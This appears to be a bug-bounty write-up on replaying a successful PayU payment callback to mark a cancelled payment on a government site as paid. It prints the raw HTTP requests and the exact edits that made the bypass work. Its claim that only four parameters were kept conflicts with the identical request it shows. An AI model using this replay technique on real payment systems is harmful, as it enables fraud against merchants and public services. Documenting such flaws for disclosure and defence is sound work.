A High-Impact Payment Bypass on Government Website - A Tale of Business Logic Flaw Exploitation
Introduction:
Greetings, fellow cybersecurity enthusiasts! I am Amjad Ali, a VAPT Analyst, bug hunter, and pentester, excited to share one of my recent findings with you. In this write-up, I will walk you through how I discovered and exploited a business logic flaw to bypass the payment process on a government website (let’s call it xyz.gov.in). The impact of this vulnerability was significant, potentially leading to unauthorized transactions and financial losses.
I began my assignment by creating an account on xyz.gov.in and conducting both active and passive reconnaissance. However, I don’t get any juicy information/endpoint.
Discovering the Payment Option:
While surfing through the website, I stumbled upon a Payment Option, prompting me to investigate further. I clicked on the “Pay Now” button and was redirected to the CheckoutPage.aspx (https://www.xyz.gov.in/CheckoutPage.aspx). There, I entered a nominal amount (5 rupees for demonstration purposes) and initiated the payment.
Payment Redirection to Payu Payment Gateway:
After filling in the payment amount, the web application redirected me to the Payu Payment Gateway for further payment processing. The Payu Payment Gateway is a third-party service used to securely handle payment transactions. At this stage, users are typically required to provide their payment details, such as credit card information, net banking credentials, or UPI details, to complete the payment.
First Attempt at Bypassing the Payment:
As a seasoned bug hunter, I attempted to bypass the payment process by clicking the “Back” button during the redirection to the Payu Payment Gateway. A pop-up appeared, requesting confirmation to cancel the payment. I clicked “Yes” and intercepted the request being sent.
The intercepted POST request looked like this:
POST /PayFail.aspx HTTP/1.1
Host: www.xyz.gov.in
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 925
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
mihpayid=17797357055&mode=&status=failure&unmappedstatus=userCancelled&key=dTA6xR&txnid=17917&amount=5.00&discount=0.00&net_amount_debit=0.00&addedon=2023-07-24+11%3A13%3A45&productinfo=Type+Rent+Client+C363+Demand+36246+ReceiptNo+17917+LoginId+Test1&firstname=Tester&lastname=&address1=&address2=&city=&state=&country=&zipcode=&email=test%40gmail.com&phone=1234567890&udf1=183721.00&udf2=129G%2F09&udf3=7%2F1%2F2017+12%3A00%3A00+AM-9%2F30%2F2017+12%3A00%3A00+AM&udf4=8527.00&udf5=4884.00%2C170310.00%2CAjit+Exports&udf6=&udf7=&udf8=&udf9=&udf10=&hash=56c3763f3b737116730e420b2004a4b699f485e98ccc3e887aa63afee3c49ce3f9780c375fe08bf6f36df76497463f1ca47c7fa4587541b88a1b99cc1823515c&field1=&field2=&field3=&field4=&field5=&field6=&field7=&field8=&field9=Cancelled+by+user&payment_source=payu&PG_TYPE=&bank_ref_num=&bankcode=&error=E1605&error_Message=Transaction+failed+due+to+customer+pressing+cancel+button.
Realizing the Potential for Bypass:
Based on my experience, I realized that the payment process could be potentially bypassed through response manipulation. To confirm this hypothesis, I decided to make some changes to the intercepted request and send it to the server.
Attempting the Payment Bypass:
Without wasting any time, I made the following changes in the intercepted request:
- Changed
POST /PayFail.aspx HTTP/1.1
toPOST /PayPaid.aspx HTTP/1.1
. - Modified the body as follows:
- Changed
status=failure
tostatus=success
. - Changed
unmappedstatus=userCancelled
tounmappedstatus=userPaid
. - Changed
net_amount_debit=0.00
tonet_amount_debit=5.00
. - Changed
field9=Cancelled+by+user
tofield9=Paid+by+user
. - Removed the content of
error=E1605&error_Message=Transaction+failed+due+to+customer+pressing+cancel+button.
and replaced it witherror=&error_Message=
.
With the modified request in hand, I sent it to the server, hoping for a successful payment bypass. Unfortunately, my attempt was not successful, and I received a response indicating “Your Payment is failure !!”
Understanding Payu Payment State Explanations:
After the initial attempt failed, I turned to Google and searched for “Payu Payment State Explanations.” and conducted extensive research to understand the Payu API and payment process better. I referred to several documentation sources, including:
- Payu Miscellaneous Status Explanations
- Payu Error Codes
- PayUMoney Technical Integration Document
- Payu Transaction Details APIs
- Payu Transaction Verification APIs
In my research, I make it a habit to thoroughly grasp the fundamental workings and primary objectives of any organization. This approach significantly helps me in discovering and exploiting vulnerabilities related to how the business processes information and transactions. By understanding the core business practices, I can identify potential weaknesses and find innovative ways to navigate the system effectively.
After investing two hours in understanding Payu’s API and payment process, I gained insights into the relevant parameters and their significance:
mihpayid
: Unique ID generated for a transaction by PayU.inmode
: The mode of payment (e.g., UPI)status
: Status of payment (success, failure, or pending)
unmappedstatus
: Unmapped Status representing the payment statuskey
: Merchant key provided by PayUtxnid
: Your transaction ID/order IDamount
: The payment amount (5.00 rupees in this case)discount
: Any applicable discount (none in this scenario)net_amount_debit
: The net amount debited from the account (5.06 rupees)addedon
: Timestamp of the transactionproductinfo
: Additional information about the product or service (e.g., "Type Other")firstname
,lastname
,address1
,address2
,city
,state
,country
,zipcode
,email
,phone
: Customer detailsudf1
,udf2
, ...,udf10
: User-defined fields
hash
: Checksum to ensure data integrityfield1
,field2
,field3
, ...,field9
: Additional fields for specific transaction informationpayment_source
: Indicates the payment source (PayU for transactions made with PayU)PG_TYPE
: The payment gateway used for the transactionbank_ref_num
: Bank reference number provided for successful transactionsbankcode
: Code indicating the payment option usederror
: Error code in case of transaction failure (reference for error codes)error_Message
: Error message for the transaction
Second Attempt at Bypassing the Payment:
Armed with this newfound knowledge, I made another attempt to bypass the payment by crafting a new request for a 5 rupees payment and manipulating the request content based on the collected information. Unfortunately, despite multiple attempts, the payment bypass was not successful.
Acknowledging the need for a fresh perspective, I decided to take a break and continue my testing the next day.
Next Day:
Next day, I decided to gain a deeper understanding of the web application’s response to a successful payment. So, I went ahead and made a genuine payment of 5 rupees and captured the response after a successful transaction. The response looked like this:
POST /PayCallBack.aspx HTTP/1.1
Host: www.xyz.gov.in
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 874
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
mihpayid=17779380833&mode=UPI&status=success&unmappedstatus=captured&key=dTA6xR&txnid=50b8ce88&amount=5.00&discount=0.00&additionalCharges=0.06&net_amount_debit=5.06&addedon=2023-07-21+13%3A36%3A06&productinfo=Type+Other&firstname=Hunter&lastname=&address1=&address2=&city=&state=&country=&zipcode=&email=test%40gmail.com&phone=1234567890&udf1=&udf2=&udf3=&udf4=&udf5=&udf6=&udf7=&udf8=&udf9=&udf10=&hash=9128be32f6731ae571a0f2e6116d5d67b8e1d2d5895a8f605d2375ec45e77ead766b88ffdd0f9324d5f4c6c362666b68a21c72e4eb95744b4bd6e1b31c8f7120&field1=my_upi%40icici&field2=&field3=my_upi%40icici&field4=Name+On+UPI&field5=AXI7ce6182749ed4048ae09b8f2be343dae&field6=&field7=APPROVED+OR+COMPLETED+SUCCESSFULLY%7C00&field8=generic&field9=Success%7CCompleted+Using+Callback&payment_source=payu&PG_TYPE=UPI-PG&bank_ref_num=320219965266&bankcode=UPI&error=E000&error_Message=No+Error
After comparing the responses for both successful and failed payments, I noticed that they were different. For failed payments, we were redirected to “/PayFail.aspx,” while successful payments redirected to “/PayCallBack.aspx.” Additionally, I observed an extra parameter, “additionalCharges,” present in the successful payment response, which was not included in the failed payment response. There were also other significant parameters like “mode=UPI,” “net_amount_debit=5.06,” and various “field” values containing specific payment-related information.
Final Attempt to Bypassing the Payment:
With this newfound knowledge, I decided to attempt bypassing the payment again. I repeated the previous steps of making a 5 rupees payment and then trying to cancel the payment. In the payment cancellation request, I replaced the entire content with the response I received after a successful payment.
Here’s how the modified request looked:
POST /PayCallBack.aspx HTTP/1.1
Host: www.xyz.gov.in
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 874
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
mihpayid=17779380833&mode=UPI&status=success&unmappedstatus=captured&key=dTA6xR&txnid=50b8ce88&amount=5.00&discount=0.00&additionalCharges=0.06&net_amount_debit=5.06&addedon=2023-07-21+13%3A36%3A06&productinfo=Type+Other&firstname=Hunter&lastname=&address1=&address2=&city=&state=&country=&zipcode=&email=test%40gmail.com&phone=1234567890&udf1=&udf2=&udf3=&udf4=&udf5=&udf6=&udf7=&udf8=&udf9=&udf10=&hash=9128be32f6731ae571a0f2e6116d5d67b8e1d2d5895a8f605d2375ec45e77ead766b88ffdd0f9324d5f4c6c362666b68a21c72e4eb95744b4bd6e1b31c8f7120&field1=my_upi%40icici&field2=&field3=my_upi%40icici&field4=Name+On+UPI&field5=AXI7ce6182749ed4048ae09b8f2be343dae&field6=&field7=APPROVED+OR+COMPLETED+SUCCESSFULLY%7C00&field8=generic&field9=Success%7CCompleted+Using+Callback&payment_source=payu&PG_TYPE=UPI-PG&bank_ref_num=320219965266&bankcode=UPI&error=E000&error_Message=No+Error
In this modified request, I only kept the parameters “mihpayid,” “txnid,” “addedon,” and “hash” unchanged from the successful payment request. After forwarding the request, to my great delight, the payment was successful without actually paying any money! The payment bypass via response manipulation worked like a charm, and I was so happy about it, like saying, “Yeah, man, you did it!” It was a moment of sheer joy for me.
To confirm its effectiveness, I repeated this process two more times, and it worked flawlessly each time.
Conclusion:
I want to share an important lesson I learned from this experience — it’s crucial to understand how the application works and what happens behind the scenes. When you gain this understanding, it opens up new possibilities and helps you identify potential vulnerabilities.
Always remember to keep exploring and learning about web applications and payment gateways in the field of cybersecurity. By doing so, you can find and fix security issues, making the digital world safer for everyone. Keep pushing your knowledge boundaries, and happy bug hunting!
Thank you for taking the time to read about my experience. If you have any thoughts or questions, please feel free to share them in the comments section.
- My Linkedin: https://www.linkedin.com/in/amjadali110/